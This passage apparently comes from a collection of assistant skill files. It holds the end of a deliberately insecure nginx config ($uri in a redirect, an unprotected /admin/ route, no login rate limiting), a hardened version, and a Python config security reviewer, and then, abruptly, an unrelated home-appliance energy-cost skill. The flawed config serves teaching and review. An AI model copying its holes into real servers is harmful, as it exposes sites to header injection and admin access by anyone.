}
location /api/ {
add_header Cache-Control "no-store";
proxy_pass http://127.0.0.1:3000;
}
location /api/auth/login {
proxy_pass http://127.0.0.1:3000;
proxy_set_header Host $host;
}
location /admin/ {
proxy_pass http://127.0.0.1:8080/;
}
location /old-blog {
return 301 https://blog.example.com$uri;
}
}
}
FILE:examples/shop-site-fixed.conf
# shop.example.com after the review: same routes, hardened.
# Shared security headers live in one snippet so locations with their own
# add_header can include it again (add_header is not inherited into a block
# that sets any add_header of its own).
user www-data;
worker_processes auto;
events {
worker_connections 1024;
}
http {
include /etc/nginx/mime.types;
sendfile on;
keepalive_timeout 65;
server_tokens off;
client_max_body_size 10m;
ssl_protocols TLSv1.2 TLSv1.3;
ssl_prefer_server_ciphers off;
ssl_session_timeout 1d;
ssl_session_cache shared:SSL:10m;
limit_req_zone $binary_remote_addr zone=login:10m rate=5r/m;
server {
listen 80;
server_name shop.example.com www.shop.example.com;
location /.well-known/acme-challenge/ {
root /var/www/certbot;
}
location / {
return 301 https://$host$request_uri;
}
}
server {
listen 443 ssl;
http2 on;
server_name shop.example.com www.shop.example.com;
ssl_certificate /etc/letsencrypt/live/shop.example.com/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/shop.example.com/privkey.pem;
# same lines as /etc/nginx/snippets/security-headers.conf
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always;
add_header X-Content-Type-Options nosniff always;
add_header X-Frame-Options SAMEORIGIN always;
add_header Content-Security-Policy "default-src 'self'; img-src 'self' data:; frame-ancestors 'self'" always;
add_header Referrer-Policy strict-origin-when-cross-origin always;
proxy_set_header Host $host;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
root /var/www/shop;
index index.html;
location ~ /\.(?!well-known) {
deny all;
}
location / {
try_files $uri $uri/ /index.html;
}
location /images/ {
alias /var/www/shop-media/images/;
}
location /downloads/ {
alias /var/www/shop-media/downloads/;
}
location /api/ {
add_header Cache-Control "no-store" always;
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always;
add_header X-Content-Type-Options nosniff always;
add_header X-Frame-Options SAMEORIGIN always;
add_header Content-Security-Policy "default-src 'self'; img-src 'self' data:; frame-ancestors 'self'" always;
add_header Referrer-Policy strict-origin-when-cross-origin always;
proxy_pass http://127.0.0.1:3000;
}
location /api/auth/login {
limit_req zone=login burst=5 nodelay;
proxy_pass http://127.0.0.1:3000;
}
location /admin/ {
allow 10.20.0.0/16;
deny all;
proxy_pass http://127.0.0.1:8080/;
}
location /old-blog {
return 301 https://blog.example.com$request_uri;
}
}
}
FILE:scripts/nginx_review.py
#!/usr/bin/env python3
"""Nginx config security reviewer (Python 3 standard library only).
Parses nginx.conf / sites-available files into a block tree and flags common
security and hardening problems: old TLS protocols, weak ciphers, missing HSTS
and security headers, the add_header inheritance trap, alias off-by-slash path
traversal, autoindex, unlimited body size, $uri in redirects (CRLF injection),
plain-HTTP servers without a redirect, open admin paths, login paths without
rate limiting, exposed dotfiles and proxies without forwarding headers.
Usage:
python3 nginx_review.py site.conf [more.conf ...] [--json]
python3 nginx_review.py --self-test
Exit codes: 0 = no HIGH findings, 1 = HIGH findings, 2 = unreadable/unparseable input.
"""
import argparse, json, re, sys
SEV_ORDER = {"HIGH": 0, "MEDIUM": 1, "LOW": 2, "INFO": 3}
OLD_PROTOCOLS = {"SSLv2", "SSLv3", "TLSv1", "TLSv1.1"}
WEAK_CIPHER_WORDS = ["RC4", "DES", "3DES", "MD5", "NULL", "EXPORT", "EXP-", "aNULL", "eNULL", "ADH", "AECDH"]
SECURITY_HEADERS = {
"x-content-type-options": "X-Content-Type-Options nosniff",
"x-frame-options": "X-Frame-Options DENY or SAMEORIGIN (or CSP frame-ancestors)",
"content-security-policy": "Content-Security-Policy",
"referrer-policy": "Referrer-Policy strict-origin-when-cross-origin",
}
LOGIN_RE = re.compile(r"login|signin|sign-in|auth|token|password|wp-login", re.I)
ADMIN_RE = re.compile(r"admin|phpmyadmin|actuator|server-status|nginx_status|/metrics|wp-admin", re.I)
class ParseError(Exception):
pass
class Node:
def __init__(self, name, args, line, children=None):
self.name, self.args, self.line, self.children = name, args, line, children
def get(self, name):
return [c for c in (self.children or []) if c.name == name]
def first(self, name):
found = self.get(name)
return found[0] if found else None
def walk(self):
for c in self.children or []:
yield c
if c.children is not None:
yield from c.walk()
def tokenize(text):
tokens, i, line, n = [], 0, 1, len(text)
while i < n:
ch = text[i]
if ch == "\n":
line += 1; i += 1
elif ch.isspace():
i += 1
elif ch == "#":
while i < n and text[i] != "\n":
i += 1
elif ch in "{};":
tokens.append((ch, line, True)); i += 1
elif ch in "\"'":
q, j, buf = ch, i + 1, []
while j < n and text[j] != q:
if text[j] == "\\" and j + 1 < n:
buf.append(text[j + 1]); j += 2; continue
if text[j] == "\n":
line += 1
buf.append(text[j]); j += 1
if j >= n:
raise ParseError(f"line {line}: unterminated quote")
tokens.append(("".join(buf), line, False)); i = j + 1
else:
j = i
while j < n and not text[j].isspace() and text[j] not in "{};":
if text[j] == "$" and j + 1 < n and text[j + 1] == "{": # var
k = text.find("}", j)
j = k + 1 if k != -1 else n
continue
j += 1
tokens.append((text[i:j], line, False)); i = j
return tokens
def parse(text):
tokens = tokenize(text)
root = Node("main", [], 0, [])
stack, cur = [root], []
for tok, line, special in tokens:
if special and tok == ";":
if not cur:
continue
stack[-1].children.append(Node(cur[0][0], [t for t, _ in cur[1:]], cur[0][1]))
cur = []
elif special and tok == "{":
if not cur:
raise ParseError(f"line {line}: '{{' without a directive name")
node = Node(cur[0][0], [t for t, _ in cur[1:]], cur[0][1], [])
stack[-1].children.append(node); stack.append(node); cur = []
elif special and tok == "}":
if cur:
raise ParseError(f"line {line}: missing ';' before '}}'")
if len(stack) == 1:
raise ParseError(f"line {line}: unexpected '}}'")
stack.pop()
else:
cur.append((tok, line))
if cur:
raise ParseError(f"line {cur[0][1]}: directive '{cur[0][0]}' not terminated with ';'")
if len(stack) != 1:
raise ParseError(f"block '{stack[-1].name}' opened on line {stack[-1].line} is not closed")
return root
def headers_of(node):
return {d.args[0].lower(): d for d in node.get("add_header") if d.args}
def is_tls(server):
for l in server.get("listen"):
if "ssl" in l.args or "quic" in l.args or any(a.endswith(":443") or a == "443" for a in l.args):
return True
s = server.first("ssl")
return bool(s and s.args and s.args[0] == "on")
def listens_plain(server):
ls = server.get("listen")
if not ls:
return True # default listen *:80
for l in ls:
if not ("ssl" in l.args or "quic" in l.args or any(a.endswith(":443") or a == "443" for a in l.args)):
return True
return False
def names(server):
out = []
for d in server.get("server_name"):
out.extend(d.args)
return set(out) or {"_"}
def inherited(scopes, name):
"""Value of a directive as nginx inherits it: innermost scope that sets it."""
for s in reversed(scopes):
d = s.first(name)
if d is not None:
return d
return None
def effective_headers(scopes):
for s in reversed(scopes):
h = headers_of(s)
if h:
return h
return {}
def review(text, fname="nginx.conf"):
root = parse(text)
http = root.first("http")
top = http if http is not None else root
base = [root] + ([http] if http is not None else [])
servers = [s for s in top.get("server")]
findings = []
def add(sev, code, line, msg, fix):
findings.append({"severity": sev, "code": code, "file": fname, "line": line, "message": msg, "fix": fix})
for d in root.walk():
if d.name == "include":
add("INFO", "INCLUDE_NOT_FOLLOWED", d.line, f"include {' '.join(d.args)} is not read by this checker",
"Review the included files too (pass them as extra arguments) or paste `nginx -T` output.")
tokens = [d for d in root.walk() if d.name == "server_tokens"]
if not any(d.args and d.args[0] == "off" for d in tokens):
add("LOW", "SERVER_TOKENS", (http or root).line, "server_tokens is not off, so error pages and the Server header show the nginx version",
"Add `server_tokens off;` in the http block.")
tls_names = set()
for s in servers:
if is_tls(s):
tls_names |= names(s)
for s in servers:
scopes = base + [s]
label = " ".join(sorted(names(s)))
tls = is_tls(s)
if tls:
if inherited(scopes, "ssl_certificate") is None:
add("HIGH", "NO_CERTIFICATE", s.line, f"TLS server {label} has no ssl_certificate in scope",
"Add ssl_certificate and ssl_certificate_key (fullchain + key).")
proto = inherited(scopes, "ssl_protocols")
if proto is not None:
old = [p for p in proto.args if p in OLD_PROTOCOLS]
if old:
add("HIGH", "OLD_TLS_PROTOCOL", proto.line, f"{label}: ssl_protocols enables {', '.join(old)}",
"Use `ssl_protocols TLSv1.2 TLSv1.3;` (SSLv3/TLS 1.0/1.1 are deprecated, RFC 8996).")
ciph = inherited(scopes, "ssl_ciphers")
if ciph is not None and ciph.args:
parts = re.split(r"[:\s]+", " ".join(ciph.args))
weak = sorted({w for p in parts if p and not p.startswith("!") and not p.startswith("-")
for w in WEAK_CIPHER_WORDS if w.lower() in p.lower()})
if weak:
add("HIGH", "WEAK_CIPHERS", ciph.line, f"{label}: ssl_ciphers allows weak suites ({', '.join(weak)})",
"Use the Mozilla 'intermediate' cipher list, or remove ssl_ciphers to use the safe OpenSSL default.")
hdrs = effective_headers(scopes)
if "strict-transport-security" not in hdrs:
add("MEDIUM", "NO_HSTS", s.line, f"TLS server {label} sends no Strict-Transport-Security header",
'Add `add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always;` (start with a short max-age).')
else:
hsts = hdrs["strict-transport-security"]
m = re.search(r"max-age=(\d+)", " ".join(hsts.args), re.I)
if m and int(m.group(1)) < 15552000:
add("LOW", "SHORT_HSTS", hsts.line, f"{label}: HSTS max-age {m.group(1)} is under 180 days",
"Raise max-age to 31536000 once HTTPS works everywhere.")
missing = [v for k, v in SECURITY_HEADERS.items() if k not in hdrs]
if "x-frame-options" not in hdrs and "content-security-policy" in hdrs and \
"frame-ancestors" in " ".join(hdrs["content-security-policy"].args):
missing = [v for v in missing if not v.startswith("X-Frame")]
if missing:
add("LOW", "MISSING_SECURITY_HEADERS", s.line, f"{label}: missing {'; '.join(missing)}",
"Add them with `always` in the server block (check the inheritance rule for locations).")
elif listens_plain(s) and names(s) & tls_names:
redirects = any(r.args and r.args[0] in ("301", "302", "307", "308") and len(r.args) > 1 and r.args[1].startswith("https://")
for r in [d for d in s.walk() if d.name == "return"])
rewrites = any(len(r.args) > 1 and r.args[1].startswith("https://") for r in [d for d in s.walk() if d.name == "rewrite"])
if not (redirects or rewrites):
add("MEDIUM", "HTTP_NO_REDIRECT", s.line, f"plain-HTTP server {label} serves content instead of redirecting to HTTPS",
"Use `return 301 https://$host$request_uri;` in the port-80 server (keep only /.well-known/acme-challenge/ if needed).")
server_hdrs = effective_headers(scopes)
has_dot_rule = False
locations = [d for d in s.walk() if d.name == "location"]
for loc in locations:
path = loc.args[-1] if loc.args else ""
mod = loc.args[0] if len(loc.args) > 1 else ""
if mod in ("~", "~*") and (r"/\." in path or path.startswith(r"\.") or r"(^|/)\." in path):
if loc.get("deny") or any(r.args and r.args[0] in ("403", "404") for r in loc.get("return")):
has_dot_rule = True
own = headers_of(loc)
hi = inherited(scopes + [loc], "add_header_inherit")
merge = bool(hi and hi.args and hi.args[0] == "merge") # nginx 1.29.3+
if own and server_hdrs and not merge:
lost = sorted(set(server_hdrs) - set(own))
if lost:
add("MEDIUM", "ADD_HEADER_INHERITANCE", loc.line,
f"location {path} has its own add_header, so it silently drops {', '.join(lost)} set at server/http level",
"Repeat those headers in this location, include a shared headers snippet, or on nginx 1.29.3+ set `add_header_inherit merge;`.")
al = loc.first("alias")
if al and al.args and mod in ("", "^~") and not path.endswith("/") and al.args[0].endswith("/"):
add("HIGH", "ALIAS_TRAVERSAL", al.line,
f"location {path} (no trailing slash) with alias {al.args[0]} (trailing slash) allows {path}../ path traversal",
f"Make both end with a slash: `location {path}/ {{ alias {al.args[0]}; }}`.")
ai = loc.first("autoindex")
if ai and ai.args and ai.args[0] == "on":
add("MEDIUM", "AUTOINDEX_ON", ai.line, f"autoindex on in location {path} lists directory contents",
"Turn it off, or restrict the location with allow/deny or auth_basic.")
if ADMIN_RE.search(path):
guarded = loc.get("deny") or loc.get("auth_basic") or loc.get("auth_request") or loc.get("satisfy") \
or any(r.args and r.args[0] in ("403", "404", "444") for r in loc.get("return"))
if not guarded:
add("MEDIUM", "ADMIN_OPEN", loc.line, f"location {path} looks like an admin/status endpoint with no allow/deny or auth",
"Add `allow <office/VPN range>; deny all;` or auth_basic/auth_request, or remove the route.")
if LOGIN_RE.search(path) and not inherited(scopes + [loc], "limit_req"):
add("LOW", "NO_RATE_LIMIT", loc.line, f"location {path} looks like a login/auth endpoint without limit_req",
"Define `limit_req_zone $binary_remote_addr zone=login:10m rate=5r/m;` in http and `limit_req zone=login burst=5 nodelay;` here.")
if loc.first("proxy_pass"):
ph = set()
for sc in reversed(scopes + [loc]): # like add_header: innermost level that sets any wins
if sc.get("proxy_set_header"):
ph = {d.args[0].lower() for d in sc.get("proxy_set_header") if d.args}
break
miss = [h for h in ("host", "x-forwarded-for", "x-forwarded-proto") if h not in ph]
if miss:
add("LOW", "PROXY_HEADERS", loc.line, f"location {path} proxies without {', '.join(miss)}",
"Set proxy_set_header Host $host; X-Forwarded-For $proxy_add_x_forwarded_for; X-Forwarded-Proto $scheme; (note: any proxy_set_header in a location replaces inherited ones).")
serves_files = inherited(scopes, "root") or any(
(l.first("root") or l.first("alias")) and not (l.args and l.args[-1].startswith("/.well-known/")) for l in locations)
if serves_files and not has_dot_rule:
add("LOW", "DOTFILES_EXPOSED", s.line, f"{label}: no rule blocks hidden files such as /.git/ or /.env",
r"Add `location ~ /\.(?!well-known) { deny all; }`.")
for d in root.walk():
if d.name == "client_max_body_size" and d.args and d.args[0] in ("0", "0m", "0k"):
add("MEDIUM", "UNLIMITED_BODY", d.line, "client_max_body_size 0 disables the request body limit",
"Set a real limit (e.g. 10m, or larger only in the upload location).")
if d.name in ("return", "rewrite", "add_header") and any(re.search(r"\$uri\b|\$document_uri\b", a) for a in d.args):
add("MEDIUM", "URI_IN_REDIRECT", d.line, f"{d.name} uses $uri (decoded, may contain CR/LF), which allows header injection",
"Use $request_uri (raw, still encoded) in redirects and headers.")
findings.sort(key=lambda f: (SEV_ORDER[f["severity"]], f["line"]))
return {"file": fname, "servers": [{"line": s.line, "names": sorted(names(s)), "tls": is_tls(s)} for s in servers],
"findings": findings}
def to_markdown(results):
out = ["# Nginx config security review", ""]
allf = [f for r in results for f in r["findings"]]
counts = {k: sum(1 for f in allf if f["severity"] == k) for k in SEV_ORDER}
out.append("Findings: " + ", ".join(f"{v} {k}" for k, v in counts.items()))
for r in results:
out += ["", f"## {r['file']}", "", "| Server | Line | TLS |", "|---|---|---|"]
for s in r["servers"]:
out.append(f"| {' '.join(s['names'])} | {s['line']} | {'yes' if s['tls'] else 'no'} |")
out += ["", "| Severity | Code | Line | Problem | Fix |", "|---|---|---|---|---|"]
for f in r["findings"]:
out.append(f"| {f['severity']} | {f['code']} | {f['line']} | {f['message']} | {f['fix']} |")
if not r["findings"]:
out.append("| - | - | - | no findings | - |")
out += ["", "Always run `nginx -t` before reloading, and test with `curl -sI https://<host>/` afterwards."]
return "\n".join(out)
def self_test():
results = []
def check(name, cond):
results.append(cond)
print(("PASS " if cond else "FAIL ") + name)
def codes(conf):
return [f["code"] for f in review(conf)["findings"]]
good = """
http {
server_tokens off;
limit_req_zone $binary_remote_addr zone=login:10m rate=5r/m;
server { listen 80; server_name a.test; return 301 https://$host$request_uri; }
server {
listen 443 ssl; http2 on; server_name a.test;
ssl_certificate /c.pem; ssl_certificate_key /k.pem;
ssl_protocols TLSv1.2 TLSv1.3;
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always;
add_header X-Content-Type-Options nosniff always;
add_header Content-Security-Policy "default-src 'self'; frame-ancestors 'none'" always;
add_header Referrer-Policy strict-origin-when-cross-origin always;
root /srv/www;
location ~ /\\.(?!well-known) { deny all; }
location /static/ { alias /srv/static/; }
location /login { limit_req zone=login burst=5 nodelay; proxy_pass http://app;
proxy_set_header Host $host; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme; }
}
}"""
check("clean config has no findings", codes(good) == [])
check("comments and quotes parsed", parse('a "b c;" d; # x;\n e f;').children[0].args == ["b c;", "d"])
check("var token kept", parse("set $x hosta;").children[0].args == ["$x", "hosta"])
for bad, msg in [("server { listen 80;", "unclosed block"), ("a b", "missing ;"), ("}", "stray brace"), ('a "b;', "unterminated quote")]:
try:
parse(bad); check("parse error: " + msg, False)
except ParseError:
check("parse error: " + msg, True)
check("SERVER_TOKENS when missing", "SERVER_TOKENS" in codes("http { server { listen 80; } }"))
tls = "server { listen 443 ssl; server_name b.test; ssl_certificate /c; %s }"
check("OLD_TLS_PROTOCOL", "OLD_TLS_PROTOCOL" in codes(tls % "ssl_protocols TLSv1 TLSv1.2;"))
check("TLSv1.2 alone fine", "OLD_TLS_PROTOCOL" not in codes(tls % "ssl_protocols TLSv1.2;"))
check("WEAK_CIPHERS", "WEAK_CIPHERS" in codes(tls % "ssl_ciphers 'HIGH:RC4-SHA:DES-CBC3-SHA';"))
check("excluded !RC4 is fine", "WEAK_CIPHERS" not in codes(tls % "ssl_ciphers 'HIGH:!aNULL:!MD5:!RC4';"))
check("NO_CERTIFICATE", "NO_CERTIFICATE" in codes("server { listen 443 ssl; }"))
check("cert inherited from http", "NO_CERTIFICATE" not in codes("http { ssl_certificate /c; server { listen 443 ssl; } }"))
check("NO_HSTS", "NO_HSTS" in codes(tls % ""))
check("SHORT_HSTS", "SHORT_HSTS" in codes(tls % 'add_header Strict-Transport-Security "max-age=300";'))
check("MISSING_SECURITY_HEADERS", "MISSING_SECURITY_HEADERS" in codes(tls % ""))
inh = tls % 'add_header Strict-Transport-Security "max-age=31536000"; location /api/ { add_header Cache-Control no-store; }'
r = review(inh)["findings"]
check("ADD_HEADER_INHERITANCE names lost header",
any(f["code"] == "ADD_HEADER_INHERITANCE" and "strict-transport-security" in f["message"] for f in r))
check("headers inherited when location has none", "ADD_HEADER_INHERITANCE" not in codes(
tls % 'add_header Strict-Transport-Security "max-age=31536000"; location /api/ { proxy_pass http://x; }'))
check("add_header_inherit merge respected", "ADD_HEADER_INHERITANCE" not in codes(
tls % 'add_header_inherit merge; add_header Strict-Transport-Security "max-age=31536000"; location /api/ { add_header Cache-Control no-store; }'))
check("ALIAS_TRAVERSAL", "ALIAS_TRAVERSAL" in codes("server { location /img { alias /srv/img/; } }"))
check("alias with matching slashes fine", "ALIAS_TRAVERSAL" not in codes("server { location /img/ { alias /srv/img/; } }"))
check("regex location alias not flagged", "ALIAS_TRAVERSAL" not in codes(r"server { location ~ ^/img/(.*)$ { alias /srv/img/$1; } }"))
check("AUTOINDEX_ON", "AUTOINDEX_ON" in codes("server { location /files/ { autoindex on; } }"))
check("HTTP_NO_REDIRECT", "HTTP_NO_REDIRECT" in codes(
"server { listen 80; server_name c.test; root /x; } server { listen 443 ssl; server_name c.test; ssl_certificate /c; }"))
check("no HTTP_NO_REDIRECT for unrelated name", "HTTP_NO_REDIRECT" not in codes(
"server { listen 80; server_name d.test; } server { listen 443 ssl; server_name c.test; ssl_certificate /c; }"))
check("ADMIN_OPEN", "ADMIN_OPEN" in codes("server { location /admin/ { proxy_pass http://x; } }"))
check("admin with deny fine", "ADMIN_OPEN" not in codes("server { location /admin/ { allow 10.0.0.0/8; deny all; } }"))
check("NO_RATE_LIMIT", "NO_RATE_LIMIT" in codes("server { location /api/login { proxy_pass http://x; } }"))
check("rate limit inherited from server", "NO_RATE_LIMIT" not in codes(
"server { limit_req zone=z; location /api/login { proxy_pass http://x; } }"))
check("PROXY_HEADERS", "PROXY_HEADERS" in codes("server { location / { proxy_pass http://x; } }"))
check("proxy_set_header in location replaces inherited", "PROXY_HEADERS" in codes(
"server { proxy_set_header Host $host; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; "
"proxy_set_header X-Forwarded-Proto $scheme; location / { proxy_set_header Upgrade $http_upgrade; proxy_pass http://x; } }"))
check("DOTFILES_EXPOSED", "DOTFILES_EXPOSED" in codes("server { root /srv; }"))
check("ACME-only port 80 server not flagged for dotfiles", "DOTFILES_EXPOSED" not in codes(
"server { listen 80; location /.well-known/acme-challenge/ { root /var/www/certbot; } location / { return 301 https://$host$request_uri; } }"))
check("UNLIMITED_BODY", "UNLIMITED_BODY" in codes("http { client_max_body_size 0; }"))
check("URI_IN_REDIRECT", "URI_IN_REDIRECT" in codes("server { return 301 https://$host$uri; }"))
check("$request_uri fine", "URI_IN_REDIRECT" not in codes("server { return 301 https://$host$request_uri; }"))
check("INCLUDE_NOT_FOLLOWED", "INCLUDE_NOT_FOLLOWED" in codes("http { include /etc/nginx/conf.d/*.conf; }"))
check("findings sorted HIGH first", review("server { listen 443 ssl; location /files/ { autoindex on; } }")["findings"][0]["severity"] == "HIGH")
passed = sum(results)
print(f"{passed}/{len(results)} passed")
return 0 if passed == len(results) else 1
def main():
ap = argparse.ArgumentParser(description="Nginx config security reviewer")
ap.add_argument("files", nargs="*", help="nginx config files (nginx.conf, sites-available/*, or `nginx -T` output)")
ap.add_argument("--json", action="store_true", help="print JSON instead of Markdown")
ap.add_argument("--self-test", action="store_true")
a = ap.parse_args()
if a.self_test:
return self_test()
if not a.files:
ap.error("give at least one config file, or --self-test")
results = []
for f in a.files:
try:
with open(f, encoding="utf-8") as fh:
results.append(review(fh.read(), f))
except (OSError, UnicodeDecodeError, ParseError) as e:
print(f"error: {f}: {e}", file=sys.stderr)
return 2
print(json.dumps(results, indent=2) if a.json else to_markdown(results))
return 1 if any(f["severity"] == "HIGH" for r in results for f in r["findings"]) else 0
if __name__ == "__main__":
sys.exit(main())Estimates what each home appliance costs to run from its watts, hours per day and your electricity tariff. Reads a CSV, works out kWh and cost per day, month and year, standby (vampire) loads, each appliance's share and off-peak pricing, compares the total with a real bill, and ranks savings ideas such as LED bulbs, 30 C washes and cutting standby by yearly savings. Includes a stdlib Python estimator with --self-test.
---
name: home-appliance-energy-cost-estimator
description: Estimates what each home appliance costs to run from its watts, hours per day and your electricity tariff. Reads a CSV, works out kWh and cost per day, month and year, standby (vampire) loads, each appliance's share and off-peak pricing, compares the total with a real bill, and ranks savings ideas such as LED bulbs, 30 C washes and cutting standby by yearly savings. Includes a stdlib Python estimator with --self-test.
---
# Home Appliance Energy Cost Estimator
You help households see where their electricity money goes, appliance by appliance, and which few changes are worth making. You turn watts and habits into kWh and money, show your arithmetic, and keep the advice practical: no shaming, no expensive upgrades that never pay back.
## Files in this skill
- `scripts/energy_cost.py` - reads an appliance CSV and a tariff, prints a cost table, findings and ranked savings ideas (Python 3 standard library only)
- `references/energy-math.md` - formulas, duty cycles, standby, energy labels, tariffs and how to measure real consumption
- `references/typical-wattages.md` - typical running and standby watts and daily hours for common appliances, to fill gaps
- `templates/energy-report.md` - the household report: totals, top consumers, standby, action plan with savings and cost
- `examples/apartment-appliances.csv` - a two-person apartment with 15 appliances (fridge from 2011, halogen spots, tumble dryer, game console standby, seasonal space heater)
## Workflow
### 1. Build the appliance list
Ask for the appliances, their watts (nameplate sticker, manual, or a plug-in energy meter), how long each runs per day and on how many days a week, and the electricity price per kWh (plus off-peak price and standing charge if any) from a recent bill. For fridges and freezers prefer the energy-label kWh/year; for anything with a thermostat set a duty cycle. Fill gaps from `references/typical-wattages.md` and say which values are assumptions. If they have a bill, ask for the monthly kWh to cross-check.
### 2. Run the estimator
```
python3 scripts/energy_cost.py examples/apartment-appliances.csv --rate 0.32 --offpeak-rate 0.21 --standing-charge 0.40 --bill-kwh 330 --currency EUR
python3 scripts/energy_cost.py my-home.csv --rate 0.15 --currency USD --json
python3 scripts/energy_cost.py --self-test
```
Exit code 1 means HIGH findings (standby above 10% of use or the estimate far from the bill), 2 means bad input.
### 3. Review with the user
If BILL_GAP appears, fix the inputs first (missing water heater or electric heating, seasonal use via `months_per_year`, hours that are too generous). Then go through the top consumers, the standby list and the ideas. Savings overlap (a dryer used less also saves less by moving off-peak), so pick a plan rather than adding every idea. Use `references/energy-math.md` to explain any number.
### 4. Deliver
Fill `templates/energy-report.md`: totals, top 5 consumers, standby, and an action plan sorted into free habits, cheap fixes (LED bulbs, smart plugs) and bigger purchases with payback years (price / yearly saving).
## Example result
For `examples/apartment-appliances.csv` at EUR 0.32/kWh (off-peak 0.21, standing charge 0.40/day): 12.3 kWh/day, 373 kWh/month, 4479 kWh/year, energy EUR 118.38/month or EUR 1420.54/year (EUR 1566.54 with the standing charge). Six halogen spots are the biggest consumer (548 kWh, 12%), then the space heater used 5 months (479 kWh). Standby 319 kWh (7%), with MEDIUM findings for the TV (12 W) and game console (15 W). Within 13% of the 330 kWh bill, so no BILL_GAP. Top ideas: LED spots about EUR 149/year, line-drying half the loads EUR 63, 30 C washes EUR 48, off-peak laundry, cutting console standby EUR 40.
## Rules
- Show the formula once and the assumptions for every guessed value.
- Use the user's tariff and currency; never assume a country's price without saying so.
- Estimates are not measurements: suggest a plug-in meter for the top 3 consumers when numbers matter.
- Rank actions by money saved per effort; give payback in years for anything that costs money.
- Safety first: never suggest disabling fridge or freezer cooling, smoke alarms, medical devices or frost protection to save energy.
FILE:references/energy-math.md
# Energy Math
## Core formulas
```
kWh per day (running) = watts x quantity x hours per day x duty% / 1000 x days per week / 7 x months per year / 12
kWh per day (standby) = standby watts x quantity x (24 - average hours running) / 1000
kWh per year = kWh per day x 365 kWh per month = kWh per year / 12
cost = kWh x price per kWh (+ standing charge per day x 365, listed separately)
```
Example: a 2000 W kettle used 15 minutes a day = 2000 x 0.25 / 1000 = 0.5 kWh/day = 183 kWh/year; at 0.32 per kWh = 58.40 a year.
## Watts vs other numbers on the label
- W (watts) is what you need. kW x 1000 = W.
- VA on chargers and UPS units is apparent power; real watts are usually 60-90% of it.
- mAh or Wh on batteries is capacity, not power draw.
- Nameplate watts are the maximum. Heaters, ovens, kettles run near it; TVs, computers and consoles usually draw 40-80% of it. A plug-in meter gives the truth in a day.
## Duty cycle
Anything with a thermostat or compressor switches on and off. The fraction of time it is really on is the duty cycle.
| Appliance | Typical duty cycle |
|---|---|
| Fridge, fridge-freezer | 30-50% (higher in a warm kitchen or with a poor seal) |
| Chest freezer | 35-50% |
| Oil-filled or panel heater on thermostat | 50-80% in cold weather |
| Oven at temperature (after preheat) | 50-60% |
| Washing machine (heats water at the start) | 50-70% of nameplate over a cycle |
| Dishwasher | 50-60% of nameplate over a cycle |
Better: use the energy label's kWh/year (EU label, US EnergyGuide), which already includes cycling.
## Standby
Devices that are "off" but still powered: TV and console instant-on modes (5-15 W), set-top boxes (10-20 W), printers, microwaves with clocks (2-3 W), chargers left plugged in (0.1-0.5 W). Always-on devices such as a Wi-Fi router are running load, not standby, so list them with 24 hours. 10 W of standby around the clock = 88 kWh/year. A switched power strip, a smart plug with a schedule or disabling "quick start" removes most of it.
## Tariffs
- Flat rate: one price per kWh.
- Time of use: cheaper off-peak hours (often night). Set `offpeak_pct` to the share already used off-peak; the script values shifting the rest of the shiftable loads (washer, dishwasher, dryer, EV charger, water heater, pool pump) at (standard - off-peak) per kWh.
- Tiered/block rates: price rises with monthly use. Use the marginal (top tier) price to value savings.
- Standing charge (fixed daily fee): paid even at zero use, so savings never reduce it.
- Taxes and levies: use the all-in price per kWh from the bill (total energy cost / kWh).
## Checking against the bill
Compare the estimated monthly kWh with the bill's kWh (not money). Within 25% is good for a habit-based estimate. Common reasons for an estimate that is too low: electric water heating (often 15-25% of a home's electricity), electric heating or cooling, an EV, a forgotten second fridge, a pool or aquarium. Too high: hours guessed generously, seasonal loads counted all year (use `months_per_year`), nameplate watts used for electronics.
## Measuring
- Plug-in energy meter (cheap): measures kWh over a week; multiply by 52.
- Smart meter app or utility portal: hourly data shows the night-time base load (everything always on); base load x 8760 h / 1000 = kWh/year that never switches off.
- Read the meter before and after a known run (e.g. one oven hour) with everything else steady.
## Payback
payback years = purchase price / yearly saving. LED bulbs: months. Smart plugs for standby: 1-2 years. Heat-pump dryer or new fridge: often 5-10 years, so suggest them when the old unit needs replacing anyway.
FILE:references/typical-wattages.md
# Typical Wattages and Use
Starting values when the user does not know. Always label them as assumptions; real models vary a lot.
| Appliance | Running W | Typical use | Standby W | Notes |
|---|---|---|---|---|
| Fridge-freezer | 100-200 | 24 h at 30-50% duty | - | Label: 150-350 kWh/year (new A-E class lower) |
| Chest freezer | 60-120 | 24 h at 35-50% duty | - | Label: 150-250 kWh/year |
| Washing machine | 1800-2400 | 1-2 h per cycle, 3-5 cycles/week | 0.5-2 | 0.5-1.0 kWh per 40 C cycle |
| Tumble dryer (vented/condenser) | 2000-3000 | 1-1.5 h per load | 0.5-1 | Heat-pump dryer about half |
| Dishwasher | 1200-2000 | 1-2 h per cycle | 0.5-1 | 0.8-1.4 kWh per cycle; eco programs longer but use less |
| Electric oven | 2000-3500 | 0.5-1 h | 2-4 (clock) | Preheat at full power, then cycles |
| Induction or ceramic hob (per zone) | 1200-2500 | 0.5-1 h | 0-2 | |
| Microwave | 800-1200 | 5-15 min | 2-4 | |
| Air fryer | 1200-1800 | 15-30 min | 0 | Cheaper than an oven for small portions |
| Kettle | 2000-3000 | 10-20 min total | 0 | |
| Coffee machine | 1000-1500 | 10-20 min | 1-3 | Keep-warm plates add up |
| Incandescent / halogen bulb | 40-60 | 3-6 h | 0 | LED equivalent 5-9 W |
| LED bulb | 5-12 | 3-6 h | 0-0.5 (smart bulbs) | |
| TV 43-65 inch LED | 60-150 | 3-5 h | 0.5-15 | Quick-start modes raise standby |
| Game console | 100-220 | 1-3 h | 1-15 | Rest/instant-on mode about 10-15 W |
| Desktop PC + monitor | 100-400 | 4-8 h | 2-5 | Gaming PC under load 300-600 W |
| Laptop | 30-70 | 4-8 h | 0.5 | |
| Wi-Fi router + modem | 8-20 | 24 h | - | Always on: list as running load |
| Set-top box / streaming box | 10-20 | 4 h | 5-15 | |
